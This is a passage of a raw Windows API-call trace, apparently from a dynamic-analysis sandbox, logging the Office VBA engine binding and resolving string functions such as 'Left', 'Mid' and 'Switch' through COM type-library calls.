ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c010ee, cbMultiByte=5, lpWideCharStr=0x124e80, cchWideChar=6 | out: lpWideCharStr="Left") returned 5 [0053.633] ITypeComp:RemoteBind (in: This=0x677d9d0, szName="Left", lHashVal=0x107be5, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c010ee, cbMultiByte=5, lpWideCharStr=0x124e80, cchWideChar=6 | out: lpWideCharStr="Left") returned 5 [0053.633] ITypeComp:RemoteBind (in: This=0x677aa00, szName="Left", lHashVal=0x107be5, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c010ee, cbMultiByte=5, lpWideCharStr=0x124e80, cchWideChar=6 | out: lpWideCharStr="Left") returned 5 [0053.633] ITypeComp:RemoteBind (in: This=0x677acd0, szName="Left", lHashVal=0x107be5, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.633] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0053.633] ITypeComp:RemoteBind (in: This=0x677dca0, szName="Left", lHashVal=0x107be5, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x7fee496230a, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x7fee496230a, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.633] IMalloc:Alloc (This=0x7feffc15380, cb=0xc) returned 0x6907620 [0053.633] _mbscpy_s (in: _Dst=0x6907620, _DstSizeInBytes=0x5, _Src=0x3c010ee | out: _Dst=0x6907620) returned 0x0 [0053.634] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Left") returned 0x10e151 [0053.634] strcpy_s (in: _Dst=0x124f90, _DstSize=0xc, _Src="_B_var_Left" | out: _Dst="_B_var_Left") returned 0x0 [0053.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x124f90, cbMultiByte=12, lpWideCharStr=0x124de0, cchWideChar=12 | out: lpWideCharStr="_B_var_Left") returned 12 [0053.634] IUnknown:AddRef (This=0x677d9c0) returned 0xc [0053.634] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="_B_var_Left", lHashVal=0x10e151, pfName=0x124eb0, pBstrLibName=0x124de0 | out: pfName=0x124eb0*=1, pBstrLibName=0x124de0) returned 0x0 [0053.634] IUnknown:Release (This=0x677d9c0) returned 0xb [0053.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Left", cchWideChar=-1, lpMultiByteStr=0x124f90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Left", lpUsedDefaultChar=0x0) returned 12 [0053.634] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Left") returned 0x10e151 [0053.634] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c0000 [0053.635] IUnknown:AddRef (This=0x677d9c0) returned 0xc [0053.635] IUnknown:Release (This=0x677d9c0) returned 0xb [0053.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x43c001e, cbMultiByte=12, lpWideCharStr=0x124e40, cchWideChar=13 | out: lpWideCharStr="_B_var_Left") returned 12 [0053.635] ITypeComp:RemoteBind (in: This=0x677d9d0, szName="_B_var_Left", lHashVal=0x10e151, wFlags=0x3, ppTInfo=0x124df8, pDescKind=0x124e0c, ppFuncDesc=0x124e10, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124df8*=0x69b2e28, pDescKind=0x124e0c*=1, ppFuncDesc=0x124e10, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.635] ITypeInfo:RemoteGetTypeAttr (in: This=0x69b2e28, ppTypeAttr=0x124e00, pDummy=0x1 | out: ppTypeAttr=0x124e00, pDummy=0x1) returned 0x0 [0053.635] ITypeInfo:LocalReleaseTypeAttr (This=0x69b2e28) returned 0x0 [0053.635] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x124c60 | out: ppvObject=0x124c60*=0x69b2e28) returned 0x0 [0053.635] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x69b2e28, memid=1610612748, invkind=1, pFuncIndex=0x124ca0 | out: pFuncIndex=0x124ca0*=0xc) returned 0x0 [0053.635] ITypeInfo2:GetFuncCustData (in: This=0x69b2e28, index=0xc, GUID=0x7fee4b43758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x124cb8 | out: pVarVal=0x124cb8*(varType=0x0, wReserved1=0x12, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x10e151)) returned 0x0 [0053.635] IUnknown:Release (This=0x69b2e28) returned 0x1 [0053.635] IUnknown:AddRef (This=0x69b2e28) returned 0x2 [0053.635] ITypeInfo:LocalReleaseFuncDesc (This=0x69b2e28) returned 0x0 [0053.635] IUnknown:Release (This=0x69b2e28) returned 0x1 [0053.635] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124eb8 | out: ppvObject=0x124eb8*=0x0) returned 0x80004002 [0053.635] IUnknown:AddRef (This=0x69b2e28) returned 0x2 [0053.635] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124ef0 | out: ppvObject=0x124ef0*=0x0) returned 0x80004002 [0053.635] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124ec0 | out: ppvObject=0x124ec0*=0x0) returned 0x80004002 [0053.635] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124eb0 | out: ppvObject=0x124eb0*=0x0) returned 0x80004002 [0053.635] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124eb8 | out: ppvObject=0x124eb8*=0x0) returned 0x80004002 [0053.635] ITypeInfo:RemoteGetTypeAttr (in: This=0x69b2e28, ppTypeAttr=0x124ee8, pDummy=0x10 | out: ppTypeAttr=0x124ee8, pDummy=0x10) returned 0x0 [0053.635] ITypeInfo:LocalReleaseTypeAttr (This=0x69b2e28) returned 0x0 [0053.635] IUnknown:AddRef (This=0x69b2e28) returned 0x3 [0053.635] IUnknown:Release (This=0x69b2e28) returned 0x2 [0053.635] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d8 | out: ppvObject=0x1250d8*=0x0) returned 0x80004002 [0053.635] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d0 | out: ppvObject=0x1250d0*=0x0) returned 0x80004002 [0053.635] IMalloc:Free (This=0x7feffc15380, pv=0x6907620) [0053.635] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124910, pIndex=0x0 | out: ppTLib=0x124910*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.635] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124920, pDummy=0x0 | out: ppTLibAttr=0x124920, pDummy=0x0) returned 0x0 [0053.635] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.635] IUnknown:Release (This=0x677d9c0) returned 0xd [0053.635] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612748, invkind=1, refPtrFlags=0x124910, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.636] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124910, pbstrName=0x0, pwOrdinal=0x124930 | out: pBstrDllName=0x124910*=0x0, pbstrName=0x0, pwOrdinal=0x124930*=0x4ba0) returned 0x0 [0053.636] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000) returned 0x0 [0053.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x4b) returned 1 [0053.636] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.636] _mbscpy_s (in: _Dst=0x1252a0, _DstSizeInBytes=0x3, _Src=0x3c02c56 | out: _Dst=0x1252a0) returned 0x0 [0053.636] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Switch") returned 0x107a36 [0053.636] strcpy_s (in: _Dst=0x124da0, _DstSize=0x7, _Src="Switch" | out: _Dst="Switch") returned 0x0 [0053.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x124da0, cbMultiByte=7, lpWideCharStr=0x124bf0, cchWideChar=7 | out: lpWideCharStr="Switch") returned 7 [0053.636] IUnknown:AddRef (This=0x677d9c0) returned 0xe [0053.636] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="Switch", lHashVal=0x107a36, pfName=0x124cc0, pBstrLibName=0x124bf0 | out: pfName=0x124cc0*=1, pBstrLibName=0x124bf0) returned 0x0 [0053.636] IUnknown:Release (This=0x677d9c0) returned 0xd [0053.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Switch", cchWideChar=-1, lpMultiByteStr=0x124da0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Switch", lpUsedDefaultChar=0x0) returned 7 [0053.636] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Switch") returned 0x107a36 [0053.636] IUnknown:Release (This=0x68569a0) returned 0x6 [0053.636] IUnknown:Release (This=0x68569a0) returned 0x5 [0053.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ef2c86, cbMultiByte=7, lpWideCharStr=0x124d20, cchWideChar=8 | out: lpWideCharStr="Switch") returned 7 [0053.636] ITypeComp:RemoteBind (in: This=0x68569a8, szName="Switch", lHashVal=0x107a36, wFlags=0x3, ppTInfo=0x124cd8, pDescKind=0x124cec, ppFuncDesc=0x124cf0, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124cd8*=0x0, pDescKind=0x124cec*=0, ppFuncDesc=0x124cf0, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02cca, cbMultiByte=7, lpWideCharStr=0x124e80, cchWideChar=8 | out: lpWideCharStr="Switch") returned 7 [0053.636] ITypeComp:RemoteBind (in: This=0x677d9d0, szName="Switch", lHashVal=0x107a36, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x69b28a8, pDescKind=0x124e4c*=1, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.636] ITypeInfo:RemoteGetTypeAttr (in: This=0x69b28a8, ppTypeAttr=0x124e40, pDummy=0x1 | out: ppTypeAttr=0x124e40, pDummy=0x1) returned 0x0 [0053.636] ITypeInfo:LocalReleaseTypeAttr (This=0x69b28a8) returned 0x0 [0053.636] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x124ca0 | out: ppvObject=0x124ca0*=0x69b28a8) returned 0x0 [0053.637] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x69b28a8, memid=1610612750, invkind=1, pFuncIndex=0x124ce0 | out: pFuncIndex=0x124ce0*=0xe) returned 0x0 [0053.637] ITypeInfo2:GetFuncCustData (in: This=0x69b28a8, index=0xe, GUID=0x7fee4b43758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x124cf8 | out: pVarVal=0x124cf8*(varType=0x0, wReserved1=0x12, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x107a36)) returned 0x0 [0053.637] IUnknown:Release (This=0x69b28a8) returned 0x4 [0053.637] IUnknown:AddRef (This=0x69b28a8) returned 0x5 [0053.637] ITypeInfo:LocalReleaseFuncDesc (This=0x69b28a8) returned 0x0 [0053.637] IUnknown:Release (This=0x69b28a8) returned 0x4 [0053.637] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124f68 | out: ppvObject=0x124f68*=0x0) returned 0x80004002 [0053.637] IUnknown:AddRef (This=0x69b28a8) returned 0x5 [0053.637] IUnknown:Release (This=0x69b28a8) returned 0x4 [0053.637] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d8 | out: ppvObject=0x1250d8*=0x0) returned 0x80004002 [0053.637] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d0 | out: ppvObject=0x1250d0*=0x0) returned 0x80004002 [0053.638] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b28a8, ppTLib=0x124910, pIndex=0x0 | out: ppTLib=0x124910*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.638] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124920, pDummy=0x0 | out: ppTLibAttr=0x124920, pDummy=0x0) returned 0x0 [0053.638] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.638] IUnknown:Release (This=0x677d9c0) returned 0xe [0053.638] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612750, invkind=1, refPtrFlags=0x124910, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.638] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612750, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124910, pbstrName=0x0, pwOrdinal=0x124930 | out: pBstrDllName=0x124910*=0x0, pbstrName=0x0, pwOrdinal=0x124930*=0x4ba0) returned 0x0 [0053.638] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612750, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000) returned 0x0 [0053.639] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x43) returned 1 [0053.639] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.639] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0053.639] IUnknown:Release (This=0x68569a0) returned 0x6 [0053.639] IUnknown:Release (This=0x68569a0) returned 0x5 [0053.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ef133a, cbMultiByte=4, lpWideCharStr=0x124d20, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0053.639] ITypeComp:RemoteBind (in: This=0x68569a8, szName="Mid", lHashVal=0x10b3dc, wFlags=0x3, ppTInfo=0x124cd8, pDescKind=0x124cec, ppFuncDesc=0x124cf0, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124cd8*=0x0, pDescKind=0x124cec*=0, ppFuncDesc=0x124cf0, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.639] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a9ff70, cb=0x800) returned 0x6444e30 [0053.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c0133a, cbMultiByte=4, lpWideCharStr=0x124e80, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0053.639] ITypeComp:RemoteBind (in: This=0x677d9d0, szName="Mid", lHashVal=0x10b3dc, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c0133a, cbMultiByte=4, lpWideCharStr=0x124e80, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0053.639] ITypeComp:RemoteBind (in: This=0x677aa00, szName="Mid", lHashVal=0x10b3dc, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c0133a, cbMultiByte=4, lpWideCharStr=0x124e80, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0053.639] ITypeComp:RemoteBind (in: This=0x677acd0, szName="Mid", lHashVal=0x10b3dc, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.639] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0053.639] ITypeComp:RemoteBind (in: This=0x677dca0, szName="Mid", lHashVal=0x10b3dc, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x7fee496230a, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x7fee496230a, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.639] IMalloc:Alloc (This=0x7feffc15380, cb=0xb) returned 0x6907620 [0053.639] _mbscpy_s (in: _Dst=0x6907620, _DstSizeInBytes=0x4, _Src=0x3c0133a | out: _Dst=0x6907620) returned 0x0 [0053.640] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0053.640] strcpy_s (in: _Dst=0x124f90, _DstSize=0xb, _Src="_B_var_Mid" | out: _Dst="_B_var_Mid") returned 0x0 [0053.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x124f90, cbMultiByte=11, lpWideCharStr=0x124de0, cchWideChar=11 | out: lpWideCharStr="_B_var_Mid") returned 11 [0053.640] IUnknown:AddRef (This=0x677d9c0) returned 0xf [0053.640] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="_B_var_Mid", lHashVal=0x1070ed, pfName=0x124eb0, pBstrLibName=0x124de0 | out: pfName=0x124eb0*=1, pBstrLibName=0x124de0) returned 0x0 [0053.640] IUnknown:Release (This=0x677d9c0) returned 0xe [0053.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Mid", cchWideChar=-1, lpMultiByteStr=0x124f90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Mid", lpUsedDefaultChar=0x0) returned 11 [0053.640] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0053.640] IUnknown:AddRef (This=0x677d9c0) returned 0xf [0053.640] IUnknown:Release (This=0x677d9c0) returned 0xe [0053.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x43c004a, cbMultiByte=11, lpWideCharStr=0x124e40, cchWideChar=12 | out: lpWideCharStr="_B_var_Mid") returned 11 [0053.640] ITypeComp:RemoteBind (in: This=0x677d9d0, szName="_B_var_Mid", lHashVal=0x1070ed, wFlags=0x3, ppTInfo=0x124df8, pDescKind=0x124e0c, ppFuncDesc=0x124e10, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124df8*=0x69b2e28, pDescKind=0x124e0c*=1, ppFuncDesc=0x124e10, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.640] ITypeInfo:RemoteGetTypeAttr (in: This=0x69b2e28, ppTypeAttr=0x124e00, pDummy=0x1 | out: ppTypeAttr=0x124e00, pDummy=0x1) returned 0x0 [0053.640] ITypeInfo:LocalReleaseTypeAttr (This=0x69b2e28) returned 0x0 [0053.640] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x124c60 | out: ppvObject=0x124c60*=0x69b2e28) returned 0x0 [0053.640] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x69b2e28, memid=1610612742, invkind=1, pFuncIndex=0x124ca0 | out: pFuncIndex=0x124ca0*=0x6) returned 0x0 [0053.640] ITypeInfo2:GetFuncCustData (in: This=0x69b2e28, index=0x6, GUID=0x7fee4b43758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x124cb8 | out: pVarVal=0x124cb8*(varType=0x0, wReserved1=0x12, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x1070ed)) returned 0x0 [0053.640] IUnknown:Release (This=0x69b2e28) returned 0x3 [0053.640] IUnknown:AddRef (This=0x69b2e28) returned 0x4 [0053.640] ITypeInfo:LocalReleaseFuncDesc (This=0x69b2e28) returned 0x0 [0053.640] IUnknown:Release (This=0x69b2e28) returned 0x3 [0053.640] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124eb8 | out: ppvObject=0x124eb8*=0x0) returned 0x80004002 [0053.640] IUnknown:AddRef (This=0x69b2e28) returned 0x4 [0053.640] IUnknown:Release (This=0x69b2e28) returned 0x3 [0053.640] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d8 | out: ppvObject=0x1250d8*=0x0) returned 0x80004002 [0053.640] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d0 | out: ppvObject=0x1250d0*=0x0) returned 0x80004002 [0053.640] IMalloc:Free (This=0x7feffc15380, pv=0x6907620) [0053.640] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124910, pIndex=0x0 | out: ppTLib=0x124910*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.640] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124920, pDummy=0x0 | out: ppTLibAttr=0x124920, pDummy=0x0) returned 0x0 [0053.640] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.640] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.640] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x124910, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 